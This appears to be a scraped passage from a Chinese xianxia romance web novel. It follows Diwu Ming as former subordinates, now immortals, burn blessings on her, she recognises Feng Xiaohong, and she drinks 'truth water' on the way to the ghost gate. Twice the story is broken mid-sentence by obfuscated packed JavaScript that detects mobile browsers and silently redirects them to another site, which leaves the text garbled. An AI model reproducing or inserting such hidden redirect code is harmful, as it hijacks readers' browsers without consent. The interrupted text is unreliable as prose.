说罢,第五茗向前走了一两步,甘歌跟着也退了一两步,第五茗只好松了溪亖音的手,去阻止甘歌的举动。 可小鬼身,哪比得过仙君体,退让之间,甘歌手中聚合神格的手势已毕,他嘴中念道:“雷霆都司甘歌,祝愿上君得三元拥护,万圣同明,赐福降吉祥。” 金光闪现,随后,第五茗方才为去抓甘歌,而不得不丢下的溪亖音,在她身旁,娇声道:“蓬莱都水司溪亖音,祝姐姐得三元拥护,万圣同明,逢凶化吉,遇难成祥。” 灭下去的光泽,措手不及地在第五茗身上再次亮起,须臾,又暗了下去。 两道神格金辉烧完,第五茗彻底放弃挣扎了,她叹了一口气,向一直在旁守着的珪光伸出手,讨要道:“你刚刚给乐正吃的药丸,还有吗?给他们一人一粒。” 珪光双手奉上了两颗,道:“上君,有的。” 第五茗一把抓过,给甘歌手中放了一颗,又朝溪亖音嘴里喂了一粒。 见溪亖音一脸痛苦地吞咽药丸,第五茗顺手回到桌边,拿了一块最甜的糕点,塞进溪亖音嘴里,才责备道:“叫你不听话,这点苦头就愁成这样了…小音,你们的真的太过了…是不是真当我现在没能力收拾你们了?” 溪亖音嚼了两口糕点,嘴里苦味散去一些,才嗫嚅道:“姐姐,我没有…” 而桌边,还有两人,招呼都不打,直接在第五茗背后,锁定了她,烧出金光。 杨战息道:“雷部三十六神将杨战息,祝上君得三元拥护,万圣同明,赐福降吉祥。” 宋世平道:“雷部三十六神将宋世平,祝上君得三元拥护,万圣同明,赐福降吉祥。” 两道金光散下去时,第五茗握紧双手,朝在场所有人,大吼道:“你们!难道都忘了我当日所言吗!!当真莽撞!十分愚蠢!!!” 凉离浅笑,柔语道:“看来上君是愿意想起来了,也愿意认我们了。” 第五茗无语,心道:你们穷追不舍,搭阱精谋,还用最后嘴上来这一句话? 不是自第一面就算好了吗? 一个二个的做仙了,厉害了。 斗不过了!! 行了一个拜仙礼后,凉离自我介绍道:“东极青玄府,太乙救苦天尊座下,星君凉离,见过上君。” 第五茗方才吼的那一句,似乎没什么用处,她身上又亮起了一阵金光。 凉离道:“不叨扰上君用膳了,东极青玄府凉离,祝上君得三元拥护,万圣同明,赐福降吉祥。” 第五茗苦笑道:“你们是非得给我烧满十身金光吗?何苦呢…” 可笑! 她昨夜还因如今身体不行,担忧过不了十殿试烦恼,今日就有十身护体金光送上门。 可这神君赐福,她得的有些难受,心里也更愁了。 猛然想起,昨日喝酒时,酆小洪说替她算过能顺利过十殿试,她见酆小洪没有反噬迹象,还当对方哄骗她,如今看来,昨日酆小洪用神格烧的第一道金辉,便是给她的第一个护身符了。 几人因刚烧了神格,身体不稳,便朝其他人俯身告辞,在楼梯口寻了小一等人,朝楼上走去。 第五茗还正纳闷,二楼房间,拢共不过十间,他们自己人就站了三间,怎么小一还在把人往楼上引。 恰好,刚送了乐正词媿的小三,带来了第五茗疑惑的答案。 小三着急忙慌跑到第五茗面前道:“上君,不好了,那大人不知道在你房间里放了什么东西,我送完大人后,去上君房间打算瞧一个详细,刚拿起桌上多出来的东西,手便被灼伤了。” 说完,小三把五指焦黑的手指,摊开在第五茗面前。 那是仙家宝贝自带白光所灼伤的痕迹。 仙家的东西,对妖鬼邪祟都有一定伤害性,第五茗这才反应过来,乐正词媿根本就不怕东西丢失,而是设了一道陷阱。她知道那法器放在迷魂店不出意外会误伤小鬼,唯一有神格,又能抵抗这东西的第五茗,若是不想小鬼们有损,就不得不把东西好好收捡起来。 她这是在逼第五茗必须接受他们的东西。 明白是怎么一回事后,第五茗嘴角抽搐道:“雨无伤可还留了新生水在店里?” 小三点头道:“还有几滴。” 第五茗吩咐道:“去取一滴,拿布巾敷上吧。” 小三道:“是。” 珪光却把小三叫住,道:“这位姑娘,请留步,方才你与上君说的话,我不小心听了一耳,你这伤是我们所害,我这里有一粒药丸,能止疼,还请你拿去服用。” 小三看了一眼第五茗,见第五茗点头让她收下,小三才接过药丸,感恩道:“多谢大人。” 珪光道:“客气了。” 回头,珪光上前几步,对第五茗道:“洞渊玉府,六天洞渊大帝座下,天君珪珖,见过上君。” 跟着珪光走上前来的路了绿,对第五茗拜礼道:“太一内院,太一大天帝座下,天君路了绿,见过上君。” 而一直站在旁边看戏,姿态随意的南泥,也端正了身子,将视线从偷瞄酆小洪,转回了堂中今日的主角第五茗,拜礼道:“可韩中司,可韩司丈人真君座下,天君南泥,见过上君。” 说到仙阶“天君”时,他特意音量稍稍放大了一些,又用余光偷瞄了一眼酆小洪的反应,见其身形微顿,眉间纠结,他如恶作剧成功一般,嘴角扬起,心中恣意。 三人抬头站起身后,第五茗回想起几人的去处,喃喃道:“我还当只有小音一人有好去处,除了去雷部的几人,你们几人的仙府倒是择得挺好,运气也都极好。” 南泥挑眉道:“运气?上君误会了,好运从未站在我们这一边。能有今天的好日子,都是多亏上君当日之恩,以及飞升之前,那替我们寻了好去处的人。” 第五茗瞟了眼酆小洪,回道:“我就算了,不过替你们求拜仙府的那位,你们倒是该好好感谢一番,天界的日子可并不好过,你们应当好好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15597575|171191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 修炼的,若是够勤奋,仙职再飞一阶,应该不成问题。” 珪光抱手道:“我潜心炼丹制药,的确疏忽了修炼,日后定当谨记上君之言,努力修行。” 路了绿不好意思道:“我倒是和小音差不多,资质如此,又贪玩…不过,日后也会拉着小音一起努力飞升。” 倒是南泥,仿若没听见第五茗后半句话,自嘲道:“的确不好过,不过也过到了现在。至于那人…他没给我们机会,送我们上去后,他啊…捏碎了一副神格,就又跳下去做凡人了…当真狠心,舍下我们这么多人。” 酆小洪眼神一凛,突然出声打断南泥,道:“南泥天君,时间不早了,方才风真君就催过你们,莫要再继续耽搁了。” 这句话,酆小洪也特意咬重了“天君”两字的发音。 南泥不怒反而欣喜,拱手朝酆小洪有礼道:“这位仙君,我们认识吗?我记得…从未与仙君见过。” 那捏碎神格做人的人,第五茗虽吃惊和好奇究竟是不是酆小洪,眼下南泥这语中带刺地招惹酆小洪,却莫名地让她觉得更不妥。 横跨一步,她挡在酆小洪和南泥之间,向南泥问道:“我记得,我曾言明要你们莫要寻我,你们先前都一直遵守约定了…为何今日你们会一起到野鬼村来?是凑巧吗?” 第五茗心中早有答案,知道这事不是凑巧,可她还是想再问一问。 最好是能从南泥口中确认一个人的名字。 确认人就在这里。 南泥也不傻,早洞悉了这一切。 他笑眼眯眯,直直盯向第五茗,恍若要将第五茗看穿。他轻歪脑袋,耸耸肩,道:“凑巧吗?或许不是凑巧呢。哈哈哈…我比较好奇,上君真觉得我们未曾想过来寻你吗?哈哈哈…瞧,上君又紧张了,上君不要把我的话放在心上,我们此行不为劫。听说孟婆雨无伤经常探寻我们几人消息,我还以为是上君思念我们呢。” 第五茗震惊,慌张道:“雨无伤啊…” 她心中苦闷:南泥如今怎么这般不老实了。 第五茗摆手,同南泥笑道:“哈…哈哈…我就是无聊,和雨无伤顺嘴一提,闹着玩的,闹着玩的…别当真,别当真啊,你们办完差,该回去就回去,别再来了。” 南泥面上笑容不减,摊手无奈道:“我能力低微,他们我可管不着,但我信上君的话。上君虽时时与孟婆提及我们,就今时之事来看,确实是当面不识,自然我们这群人是未入上君心…先前托孟婆寻我们几人消息,想来也是上君闹着玩的。” 第五茗诧异。 南泥收了笑意,又看了酆小洪一眼,继续道:“至于上君的所作所为,我们又怎么会不清楚其中缘由呢。不过,我倒更希望上君心中是公平的,他能来伴你,上君也好歹要给我们留一席之地,不要像他人一样决绝,一丝余地也不曾留…劫又何妨,命又何妨,都未曾惧,又怎会去怕!” 剩余几人皆是一愣,面上松松懒懒的南泥,讲出这番话,倒是叫人心里不由得哽噎,无以委拒。 第五茗的问题,南泥虽没有直接答,但她却知道,那南泥口中最后一句不只是讲给她听的,还是说给在场的另一人的。 所以…她要确定的那人,确认的那一个名字,果真就在此间。 是啊,这一路,她曾多次恍眼,还失声叫错过名字,只是心中不自信,便不肯相信自己的眼睛了。 当真是糊涂啊。 许是南泥知道刚才认真过头了,视线在第五茗和酆小洪身上流转,笑容不明意,打趣道:“但若是你二人私情,那就当南泥方才是妄言。” 酆小洪声音在第五茗身后,温怒道:“南泥!” 珪光和路了绿晓得南泥话里的意思,是还记恨被两人抛弃天上的那事,于是,纷纷上前拉劝南泥。 珪光道:“时间真不早了,待会儿风真君发现了。” 路了绿道:“凉离他们都下来去房间休息了,上君还要入鬼门关,我们快些吧。” 南泥有些不情不愿,道:“知道了,不说就不说了。” 散了怨怼,南泥郑重其事,一点也不像一个天君的姿态,反而端庄有礼,让人对其不敢低看。 他手上速度不输他人,结印迅速,对第五茗烧出金光,也分寸极好,道:“我们没办法送上君入鬼门关,就此告别,愿他日再相见。祝上君从此逢凶化吉,遇难成祥。” 珪光紧随而至,手势起,好一会儿,烧出金光,道:“祝上君逢凶化吉,遇难成祥。” 只剩最后一人了。 经过九人神格烧金辉,第五茗仿佛习惯了,心中渐渐平静了下来。 路了绿走上前来,对第五茗腼腆笑道:“他们的神君赐福也不知道对上君管不管用,但太一内院的,只要能说出口,就一定有些作用。太一内院路了绿,祝上君逢凶化吉,遇难成…咳咳咳…” 第五茗满脸担忧,道:“路了绿,怎么样,还好吗?严不严重?” 路了绿胸口闷震,珪光顺手喂了一颗药丸在路了绿嘴中,南泥扶住路了绿,以法力相扶,蹙眉道:“怎么了?出什么问题了?” 推开身上的两人,路了绿伸手擦掉嘴角溢出的血迹,道:“我没事。上君何时画了这样的命格,为何过往无好命,前途又无命数…着实奇怪。” 第五茗诧异,竟让外人亏到了她气运将尽。 她含糊道:“我是天生神格,天命天道估计还没给我写后面的命吧。” 路了绿道:“原来如此,上君…那我便换一个说得出口的,事有尽,情有终,路无绝路,逢险遇生。” 第五茗由衷感谢道:“谢谢…” 路了绿道:“上君客气了。” 第五茗喊道:“小一,领三位仙君去休息。” 小一应道:“是。” 领人上楼前,小一掏出怀里雨无伤离开前留给第五茗的信笺,附在第五茗耳畔道:“这信,大掌柜离开前让我找时间转交给上君,我见几位大人均在上君房间放了一件仙界法器,猜想这信上写的应该也是和几位有关。” 第五茗接过信笺,道:“我知道了,先送他们去休息吧。” 三人并没有直接回房,还是让小一先带他们上了楼,复而才下来去房间里休息。 众人走了,第五茗缓了一口气,坐回凳上,把信笺展开细细查看。 信笺合上前,第五茗脸色一会儿青一会儿紫,若不是喝了一口酆小洪递过来的雪水压压惊,她可能当场就要背过去了。 脸色变换,是因为今日的事,她本可以提前规避的… 原来,核算时间,在下楼之前,第五茗也是有机会,像雨无伤一样,从二楼遁走,从而不与楼下几人碰面。 然而,衰运,挡了她这机会,让她生生错过了雨无伤特意留下的这封信。 第五茗喃喃道:“我记得当年一共十七只小鬼,还有七人呢?我当年眼光很好的,不应该全部飞升了吗?他们呢?” 53. 路短情深意初显1 第五茗认定了,酆小洪和他们九人是一伙儿的,连问话都变得直接。 酆小洪沉声道:“剩余几人能力不差,但过于懒惰和固执…只能做到灵君,平时不能随意走动。” 第五茗托腮道:“地仙?怀晓也是地仙?” 酆小洪浑身一震。 第五茗此话一出,便说明第五茗已经认出了他是谁了。 现在他只差如他们一样,报出身份。 酆小洪点头道:“嗯,不过他是为了那剩余六人,才堪堪去做了一个地仙。” 第五茗眉毛几乎要拧到一处,道:“怀晓还真是…算了,他瞧着还好,你倒是比他们还执拗。” 酆小洪眼神闪躲道:“我也还好。” 第五茗摇头道:“虽然你执拗吧,但很显然你是他们当中最聪明,最勤奋,最不听话,最狠心,最一意孤行的…” 酆小洪打断她的话,叫道:“上君!” 第五茗坐起身来,神色严厉道:“怎么,我说错了?” 一副神格说捏碎就捏碎… 今日之事,非一日计谋,还不知道盘算了多久。 众人又亲又疏远的模样,难道都能舍得下? 第五茗生气啊… 她气面前人本应该是最不让人操心的,却做出了最大胆的事;气面前人没有听话,竟和其他人一起,筹划了今日的事;气面前人不珍惜眼前所有,执迷不悟,刚愎自用。 可她又好像发不起来火。 此时,她脑海里,频频闪过和酆小洪凡间二十载的日子,以及这一世入鬼门关一路上的轻松恣意。 她生来苦难,他代她受了。 她总遭磋磨,他苦中寻乐。 她怜悯小鬼,他多方协助。 她惹事,他善后。 她行路难,他踏平路。 她有百问,他做千答。 她貌似只要有所想,他仿佛都会为其行。 他有太多的不正常了… 像极了第五茗为司命时,那些鞍前马后的鬼和仙。 她知道他别有意图,却从没有想过他的意图不过是只在她,更多的就无所求了。 而她因为之前的不正常遭遇,选择性地,忽略了身旁突然出现的仙君有多不正常。 细细算来,面前人所作所为,皆是因她而行。 对于第五茗的指责,酆小洪终是选择了接受,他许久才嘶哑道:“上君没说错。” 睫毛颤了颤,他抬起头,眼眸闪烁,眉头轻蹙,如同一只犯了错的小狗,乖巧地等着主人继续呵斥。 如今身份不同,却还是如以前做小鬼一般,事事顺她,事事以她为重,事事置于她后…第五茗心中一叹,于心不忍,语气一改,打趣道:“这大堂都空了,没人听得见。再说了…我适才是在夸你,我不常夸人的,以前只会夸别人聪明,做了二十年凡人,倒是学会了些词,一时不察,所以用词不当了,难道仙君不喜欢听别人夸奖?” 司命真君第五茗不见了,小鬼第五茗又回来了。 酆小洪顿生疑惑,道:“嗯?上君方才是在夸我?” 第五茗道:“不像吗?太久没做仙了,差点忘记仙的姿态是什么样了,刚刚气势不错吧。仙君没看出来吗?天界的仙,夸人的时候不都得凶凶的吗?难道真的不像?都十道神格金辉了,总该有点天界的气势了啊…” 酆小洪未接话,第五茗没话找话道:“仙君的仙阶是星君吗?” 酆小洪肯搭话了,摇头道:“不是。” 第五茗道:“真君?” 酆小洪继续摇头,道:“不是。” 第五茗局促,手中一顿,心想道: 修为这么高? 等等!! 方才几人说这佩印是通印… 第五茗把一直放在桌上的佩印,拿在手中,举了起来,道:“仙君,可是对我用了障眼法?” 酆小洪点点头,食指轻点,佩印变了一个模样。 四方印玺,青龙盘萦,通体青翠,周身白光烁眼,印底刻纹繁复…只是大小和厚度比其他帝君手中的通印要小上很多,又要薄上六七分。 一看便知,是法器的主人特意将它幻成了方便携带的样式。 第五茗手上不稳,通印掉在了桌子上,她失声道:“通阳太明之印…” 仙职在真君之上… 通印如果不是偷拿东岳帝君的… 那面前人岂不是… 沉默良久,她才抬起头看向酆小洪道:“你说过,这是你自己炼制的?” 酆小洪丝毫不掩饰,点头道:“是,我自己炼制的法器。” 第五茗道:“这青龙可是真的?” 酆小洪道:“耗时半月驯服下来的。” 第五茗喃喃道:“是法器分身?” 酆小洪未言未动。 第五茗再问道:“是本体?” 酆小洪点了点头。 第五茗在他点头那一刻,把通印推了出去,紧张道:“通印我不要了,不要了,不要了…” 霎时,可能是因为第五茗手碰到了通印,手上沾了法力,嘴上和心里都一致地在拒绝它,所以,第五茗手掌上,昨日那道仙君誓约痕迹,淡淡地从第五茗掌中发出光,提醒她——违约了。 那光泽,随着第五茗一次又一次坚定的拒绝,越来越亮,越来越深,越来越刺目,让酆小洪不得不提醒道:“上君,收下它吧。” 第五茗猛烈摇头道:“东西我不能要,仙君这关系,我不敢攀,星君之上,我不敢想,也不能想…你们胆子太大了。” 酆小洪嗫嚅道:“上君,我也是鬼身,我只是一只小鬼。” 你要是小鬼,这天下还有更小的鬼吗! 有能主宰一方生灵的小鬼吗!! 难怪那群人敢这般行事,感情都是你在背后撑腰。 可笑,你们还在我面前演戏,还做出一副有矛盾的模样,干什么呢,做给我看呢!! 第五茗幽怨道:“小鬼也是分等级的,你的等级太高…还是不要和我们相提并论。” 啪! 第五茗肩上落下一巴掌,雷声大雨点小,她肩上不是很疼。 埭桡从第五茗身后绕出来,左顾右盼,在堂中搜寻半天,没找到一抹陌生人的身影,也没再瞧见一道金光,心下大安,坐在了四方桌的一边。 埭骰声音在第五茗身后,沿着那只拍在她肩头的手掌传来,道:“小明,你怎么能做鬼说鬼话!我们冥界,鬼鬼平等,你以为跟人一样还分三六九等!大家都是一样的…休要再说这种胡话了。” 埭桡眼睛陷在了桌上的食物中,胡乱接话道:“埭骰,你又在说什么鬼话呢。鬼不分等级,但功德法力和钱还是分的。点这么多吃食,这么挥霍,我们可以吃吗?” 埭骰埭桡兄弟二人,总是这么不合时宜,又算是恰到好处地,再一次打断了第五茗和酆小洪的对话。 埭桡吞咽口水,埭骰在剩余一方坐了下来,眼馋嘴馋道:“我们可以吃吗?” 第五茗把吃食推了过去,道:“当然可以,这东西也带不出野鬼村,你们多吃点。” 埭桡拿起一只梨,美滋滋地大口啃食。 埭骰斯斯文文地选了一块糕点,模样害羞地朝第五茗瞄去,道:“你鬼心真好。” 埭骰眼里的爱慕实在是太明显了。第五茗想不通:不就是请你吃了两块糕点吗?何至于这样啊! 脸上的假笑差点挂不住,第五茗尴尬道:“做鬼嘛,难免心软…大家的心都挺好的,挺好的…” 埭桡这几日脚不停歇,忙得没时间喝一口水,现在吃饱喝足,竟也变得有一丝柔软,眼珠子朝四周转了转,见依旧没有外人身影,才正声道:“还有一段路要走,好心地提醒两位一句,身上发金光的都是上面来的人和仙,咱们做鬼的能避就避,别冲撞了贵人。虽然你二人身份非凡,但既是鬼身…想来是正在历劫的,和正位上的那些人同仙还是不一样,你们也避着点,总归是好事。” 埭骰回想起今早出门,却为金光逼回房间的事,道:“刚刚在上面,我们二人特意在通冥牌里问过上官和同僚们,你们如今的情况,也是需要小心些。” 酆小洪沉默不语,眉头紧锁,心思像是在别处,丝毫没把二人的话放心里。 反而第五茗态度要认真许多,道:“多谢埭桡大哥提醒,也多谢埭骰大哥关心,入鬼门关前,我们的确是得小心些。” 顿了,埭骰嗫嚅道:“只是没想到小明你还是历劫的仙人,那…以后你渡劫成功了,你也是可常来冥界地府的吧。得空了,可去风雨江城隍庙寻我们兄弟二人…若是你无聊了的话,也寻我们可以解闷的。” 第五茗抱手道:“好。” 酆小洪把面前的通印慢慢推回桌中,道:“上君,收下通印吧,它能护你,你也不用担忧身体…” 第五茗拒绝道:“我真不能要。” 她又把东西推了回去,手中神君誓言的划痕再次闪现。 埭骰眼光精明,道:“这是什么好东西啊,怎么碰了它,小明你手上还有仙光。” 埭桡也看见了,心里痒痒,嘴上别扭道:“你们身上要是有钱财,最好还是不要带走了,到了鬼门关会被收缴,只有入了鬼门关,头七去凡间投梦,让你们上面的亲人给你们多烧点,那才是你们的。这佩印看起来就很值钱啊,我们这一路过去还有很多地方需要打点,要不就给…” 埭桡的手刚伸出一只,通印便被第五茗敏捷地握在手中,举回面前,道:“埭桡大哥,这东西…不吉利,碰不得!尤其小鬼之身碰不得!!” 埭桡瘪瘪嘴,把手收了回去。 埭骰直截了当道:“小明,你的脸上都写着,这东西就是一个宝贝,你是不是舍不得?埭桡没唬你们,值钱的东西真带不进鬼门关…” 第五茗满脸苦涩,摇头道:“不是的,这真的对小鬼来说,有害无利。” 只是不方便告诉你们… 怕吓着你们啊! 埭桡揶揄道:“鬼话连篇,这么好的宝贝,待会儿估计又得流进牛头马面的兜里了。” 第五茗不打算辩解了,没好气地把东西一抛,扔进了酆小洪怀中,怒瞪道:“东西收好!” 酆小洪却没了方才的忧愁,眉角一挑,笑道:“送出去的东西岂有收回来的道理,上君丢这里好了。” 语毕,从身上捡起通印,‘哐啷’一声,他真的好像不在意,随手便把东西扔在了桌子上。 埭骰左右看了两人数眼,心中不解两人为何会因一块佩印置气。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15601761|171191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>而埭桡欣喜若狂地守在桌边,等着两人都不要了,就把东西收入怀中。 第五茗袖掩指尖,紧握成拳,捶桌震道:“你!” 小人啊! 真小人啊!! 不对… 真鬼,可恶!! 酆小洪自然知道第五茗气在何处。 不过是方才埭骰埭桡的举动点醒了他,仙家宝贝对冥界的小鬼来说可是一个大祸水,小鬼碰了,和喝阳酒一样,轻则伤身,重则被法器白光击得灰飞烟没。 乐正词媿他们给的东西,不过是法器的分身,而他…堂而皇之,仍在桌上的是通阳太明之印的本尊。 小鬼若是起了贪念去偷盗,法器察觉了小鬼心思,定会将小鬼打得一粒渣也不剩。 酆小洪火上浇油道:“上君,两位无常好像十分喜欢,要不…” 第五茗黑脸吐槽道:“诡计多端!” 被骂了,酆小洪却一脸歉意道:“我没有其他意思,如两位无常所言,上君还有一段路要走,前方危险重重,只是希望上君能收下,关键时候,能让它护一护上君。” 第五茗在埭骰埭桡的注视下,一把抓过通印塞进怀里,道:“那就多谢你一片心意了。” 酆小洪提醒道:“楼上还有一堆他们的东西…也有点麻烦。” 说起来就生气,第五茗在桌面又猛拍一掌,声音震耳,气荡神魂,连迷魂店零号客房内五感通明的仙君也有所感,俱是耳根微红,心中尬然。 她把埭骰埭桡吓得不敢进食,酆小洪神情最为舒畅,又慢慢悠悠饮起水来。 她声音势要冲破门上的那些静音符,大吼道:“真不让人省心!都还挺会给我找事的!!” 吼完,气消了一半,第五茗无奈道:“小一,给我找一个乾坤袋来,我要去收拾一堆废品。” 小一声音自柜台后传来,道:“是。” 二楼,第五茗房间内,还是正屋早上酆小洪来送东西的那张桌子,上面一堆小宝贝,闪着逼人的白光。 ‘安世’小刀,‘息战’短刃,佛珠,言事玉笔,满水玉瓶,木尺,平安福… 还有一袋药丸和一把小锤子… 第五茗不用细想,便清楚了这些宝贝的主人是谁。 一边叹气,她一边捡进了乾坤袋中。 收捡完一桌子东西,第五茗心中的火气也没了… 这些东西炼制出来该有多不易,曾为仙的她很清楚。 她自言自语道:“算了算了…和你们计较,岂不是又陷进天命天道为我设下的苦难中了?既是定好的命数,你们也是躲不掉的,必然会来寻我。且都先受着吧,若还有机会,来日我再寻一寻解法。” 换了一身素雅利索的暗色衣衫,第五茗便把一屋子的仙君托付给了小一等人,她则同埭骰埭骰继续入鬼门关。 出了左腿子街,是和右腿子街一样的出口,是一片虚无之境。 上方架了一条悬水流萤的透明蜿蜒桥,桥的尽头还有一座四面漏风的木棚,和左腿子街的店铺完全不一样,同鬼门关内的殿宇也十分不相同。 木棚屋檐上,有一木牌,摇摇欲坠,赫然写着「迷魂店」,三个大字。 牌上,没有编号。 这是冥界地府,野鬼村内,唯一真正的迷魂店。 木棚里空荡荡,没有一只鬼影,更没有一个人影。 只在沿桥处的那一方,依靠木棚两根柱子,搭起来了一处木架子。 架子上有七只土碗,碗里有七种不同颜色的水,他们分别代表喜、怒、哀、乐、爱、恶、欲,并分别对应七种味道的水,甜、辣、苦、鲜、腻、咸、酸,那是冥界地府除孟婆汤外,最出名的饮品——真话水。 七碗拿尽,小鬼瞬间尝尽此生味,长桌上又会出现下一只小鬼的一生,如此反复…让过往小鬼谁都逃不过自己品尝自己这一生酿出来的味道。 但落在天上那群仙君的眼中,这迷魂店和真话水就是“笑话”。 谁都知道,冥界地府原本属于天界,其间小鬼幽魂的一生琐事也皆由命数所定,而非轮回历世。 命数均由司命手下的笔所写,所以,七碗水的味道,早在司命写完本子时,便也早就毫无悬念地封存在了冥界。 不过,这真话水的味道不管是什么时候酿出来的,却实实确确地在冥界地府中还有另外一个作用,它会让小鬼直面这一生,让他们在阎王面前对于这一生,无所能藏,无所隐瞒。 四人在桥上行了半个时辰,埭桡见到迷魂店后,道:“要去喝真话水了。” 第五茗眉头一蹙,晃眼过去,大致看见的轮廓,还是那万年不变的木棚和土碗,嘴里难受道:“早知道,今天应该多吃一些甜食。” 酆小洪关心道:“上君是嘴馋了吗?” 第五茗摇头道:“不是,仙君看见前面的迷魂店了吗?” 酆小洪点头道:“嗯,金屋玉碗。” 果不其然,第五茗嗤笑一声,道:“仙君看见的是这好东西,我瞧见的却是一堆破败的木棚和土碗。” 酆小洪垂眸道:“真话水的味道由一生命数决定,我帮上君换不了。” 第五茗摆手,小声自言自语道:“谁说让你替我换了,就是有些难喝罢了,忍不住,就散了点情绪出来。” 54. 路短情深意初显2 四人走到木棚,第五茗苦着脸,捏鼻掐耳,把七碗难喝得没有一丝好感的真话水,咽进了肚子里。 酆小洪那七碗好像没有什么味道,他眼睛都未眨一下,第五茗还在一旁伸出舌头缓劲儿的间隙,他就喝完了。 四人再次上路,蜿蜿蜒蜒的桥开始变得笔直,桥上的幽魂和勾魂使者也都绕出弯路,走在了这条大道上,越来越多,络绎不绝。 让酆小洪有些不喜。 第五茗嘴里终于好受了一些,能利索地讲话了,方才酆小洪喝真话水时,她便十分好奇,因她记得,酆小洪曾说过不入鬼门关。 既不入鬼门关,就不会被阎王审讯,那便可以不用喝真话水。 第五茗疑惑道:“仙君,还是要跟着入鬼门关吗?” 前方埭骰埭桡认识的勾魂使越来越多,尤其桥上巡逻的阴差,他们更是熟稔,左右逢源地向他人问好,路过的阴差也热络回应,朝这边望来,一时之间攀谈声四起,沸反盈天,嘈杂不堪。 酆小洪在这热闹中,眸中流光一闪,向第五茗身旁靠近后,才答道:“不入门内。” 可能是靠近的那点距离,让酆小洪的声音变得特别清晰,如同在耳畔,第五茗耳尖不适地猛然跳动起来,还有一点点发热,她侧身躲了躲,道:“哦,那方才为何还要喝真话水?” 酆小洪道:“想尝一尝…” 第五茗羡慕道:“金屋玉碗,那真话水想必很好喝吧。” 酆小洪摇头道:“我看见的是金屋玉碗,可酆小洪看见的却和上君如出一辙。” 第五茗震惊道:“木棚土碗?” 酆小洪道:“嗯。” 想起刚才酆小洪眉眼都没动一下,第五茗眉头紧锁道:“仙君不觉得难喝吗?” 这一小段路,不少勾魂使者和阴差在同埭骰埭桡打完招呼后,也认出了第五茗,路过两人时,纷纷垂身向第五茗主动问候,避免第五茗找他们麻烦。 第五茗自然是一边抽空和酆小洪聊天,一边欠身拱手向其他鬼差回礼。 而眼下,她还回忆酆小洪那在迷魂店的神态,面色动容,手上抱起的礼数忘了放下,远处没有鬼差问候,她也像个招财猫,一晃一晃的,主动朝远处回礼。 酆小洪向前方不断靠近的鬼差扫了一眼,少顷,嘴角微敛,答道:“我只喝了这一次…” 第五茗惊呼道:“可是有七碗啊!” 酆小洪收了视线,落在第五茗身上,脸色忧伤道:“和上君上万年喝过的相比,我这七碗,没有味道。” 第五茗内心暗忖:这人该不会魔怔了吧,喝几碗水也要比一下。 她听见埭骰埭桡前方有声音,心里又想着酆小洪的话,刚放下的手又抱了起来,欠了欠。 然而她面前空无一人,那同埭骰埭桡说话的鬼差,是这批才进冥界地府任职的,根本就还不认识她。若是她知道此刻自己是这幅失神又繁忙的模样,定然不会再去想别的… 毕竟太丢脸了。 况且,还是在心细如发的人面前,她的状态看起来就像是在同时向两边敷衍。 第五茗嘴里嘀嘀咕咕道:“果然是长本事了,连吃苦这种事也要来争一争。” 周围太闹了?或是第五茗这句话说的又小声?酆小洪看起来特别刻意,俯身低头,道:“上君可否再说一遍,太吵了,没听清。” 让第五茗听了去,却是当成了挑衅,她快走了两步,声音如小蚊子振翅,低得不能再低,道:“没说什么,仙君好好赶路吧。” 她心道:仙君之体怎么会听不清呢?若不是又再盘算什么… 在她耳后,倏地有一声轻笑… 不是嘲讽。 是得逞的那种轻快笑意。 只是特地压低了声音,不想让别人听见,但又忍不住漏出了那么一丝。 她刚想回头寻一寻… 毫无征兆地,桥上骤然间万物俱籁,第五茗宛若失聪,两只耳边听不到一丁点儿声音。 不对,还是有两股声音的。 是两个人的呼吸声。 一个是她的,另一个,就只能是那把热闹地界变成这样的施术者。 不多时,酆小洪的声音响起了,他解释道:“这段路太吵,我拉了一方结界,只有你我二人在内。上君,方才的话我没听清,你可以再说一遍吗?” 第五茗左右看了看,那些幽魂和勾魂使嘴里依旧在嘀嘀咕咕,埭骰埭桡也还在热情和别人打招呼,走至她身边的勾魂使和鬼差,唇瓣也在一张一合,只是她第五茗,却是听不见这些动静后的声音了,也无法再根据声音去回应别人。 “哦…结界啊…哈…哈哈哈…” 第五茗无语之至,笑了笑,嘴角抽搐道:“仙君倒是和我做司命时一模一样,喜欢随性而为,哈…哈哈…甚好,甚好…真安静啊。” 过于安静了… 完全不顾他人感受! 也不提前商量告知一下!! 任性妄为!!! 谁教的! 站出来!!! 吓死鬼了… 先前在迷魂店零号,酆小洪的一切相当于坦白在第五茗面前了,此时,他搭起第五茗的话来,更显随意了些。 他悠然道:“上君此话…没错,以前跟在上君身边时,不小心学了点小习惯,我以为上君不介意…会喜欢的。” 不介意? 好好听一听!! 谁会拉这么安静的结界… 不说话,四周充斥的都是彼此交织的呼吸声。 一旦开口说话,那话就仿佛是贴在耳边密语…让人心燥难安。 第五茗讪讪道:“喜欢…我的习惯我怎么会不喜欢。许是太久没这般行事了,突然有些不习惯而已。” 酆小洪敛了笑意,点头正声道:“嗯,我知道了,下次我会注意的。” 顿了顿,他郑重道:“以后需要和上君两人独处一方时,我会在拉结界前,先告知上君的,倘若上君有需要…我也可以帮上君拉一方结界起来,这法术和结印我还算使得熟练。” 第五茗闭了嘴,并未应话。 